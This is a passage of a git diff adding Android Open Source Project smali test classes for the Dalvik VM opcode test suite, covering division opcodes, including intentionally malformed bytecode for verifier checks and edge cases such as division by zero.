+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_2addr_2.java"
+.class  public Ldot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+       const-wide v0, 3.14
+       div-float/2addr v0, v7
+       return v6
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_3.smali
new file mode 100644
index 0000000..5d315b2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_2addr_3.java"
+.class  public Ldot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       const-wide v0, 1234
+       div-float/2addr v7, v0
+       return v6
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_4.smali
new file mode 100644
index 0000000..0688942
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_2addr_4.java"
+.class  public Ldot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       div-float/2addr v5, v7
+       return v6
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_5.smali
new file mode 100644
index 0000000..6cd98ea
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_5.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_2addr_5.java"
+.class  public Ldot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)F
+.registers 8
+       div-float/2addr v6, v7
+       return v6
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_6.smali
new file mode 100644
index 0000000..561640a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_6.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_2addr_6.java"
+.class  public Ldot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+       div-float/2addr v6, v8
+       return v6
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_1.smali
new file mode 100644
index 0000000..537483c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_1.java"
+.class  public Ldot/junit/opcodes/div_int/d/T_div_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       div-int v0, v2, v3
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_2.smali
new file mode 100644
index 0000000..872b717
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_2.java"
+.class  public Ldot/junit/opcodes/div_int/d/T_div_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v1, 3.1415
+       div-int v0, v3, v1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_3.smali
new file mode 100644
index 0000000..a71851a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_3.java"
+.class  public Ldot/junit/opcodes/div_int/d/T_div_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v1, 31415
+       div-int v0, v1, v3
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_4.smali
new file mode 100644
index 0000000..50ecf8b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_4.java"
+.class  public Ldot/junit/opcodes/div_int/d/T_div_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       div-int v0, v1, v3
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_5.smali
new file mode 100644
index 0000000..8fada6f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_5.java"
+.class  public Ldot/junit/opcodes/div_int/d/T_div_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 4
+
+       div-int v0, v2, v3
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_6.smali
new file mode 100644
index 0000000..fcb1b05
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_6.java"
+.class  public Ldot/junit/opcodes/div_int/d/T_div_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       div-int v0, v2, v4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_1.smali
new file mode 100644
index 0000000..536bf64
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       div-int/2addr v2, v3
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_2.smali
new file mode 100644
index 0000000..655e502
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 3.1415
+       div-int/2addr v3, v0
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_3.smali
new file mode 100644
index 0000000..b5b5727
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 323231415
+       div-int/2addr v3, v0
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_4.smali
new file mode 100644
index 0000000..bafd190
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       div-int/2addr v1, v3
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_5.smali
new file mode 100644
index 0000000..ec16f22
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 4
+
+       div-int/2addr v2, v3
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_6.smali
new file mode 100644
index 0000000..0b65772
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_2addr_6.java"
+.class  public Ldot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       div-int/2addr v2, v4
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_1.smali
new file mode 100644
index 0000000..d878516
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_1.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_1.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 8
+       div-int/lit16 v0, v2, 4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_10.smali
new file mode 100644
index 0000000..a21c237
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_10.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_10.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, -2147483648
+       div-int/lit16 v0, v2, 32767
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_11.smali
new file mode 100644
index 0000000..634ffec
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_11.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_11.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       div-int/lit16 v0, v2, 32767
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_12.smali
new file mode 100644
index 0000000..95541c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_12.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_12.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       div-int/lit16 v0, v2, -32768
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_13.smali
new file mode 100644
index 0000000..e0f4bc8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_13.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_13.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_13;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       div-int/lit16 v0, v2, 0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_14.smali
new file mode 100644
index 0000000..4e84bd9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_14.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_14.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_14;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const-wide v1, 31415
+       div-int/lit16 v1, v1, 1
+       const v0, 1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_15.smali
new file mode 100644
index 0000000..8252bf7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_15.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_15.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const-wide v1, 3.1415
+       div-int/lit16 v1, v1, 1
+       const v0, 1
+       return v0
+.end method
+
+

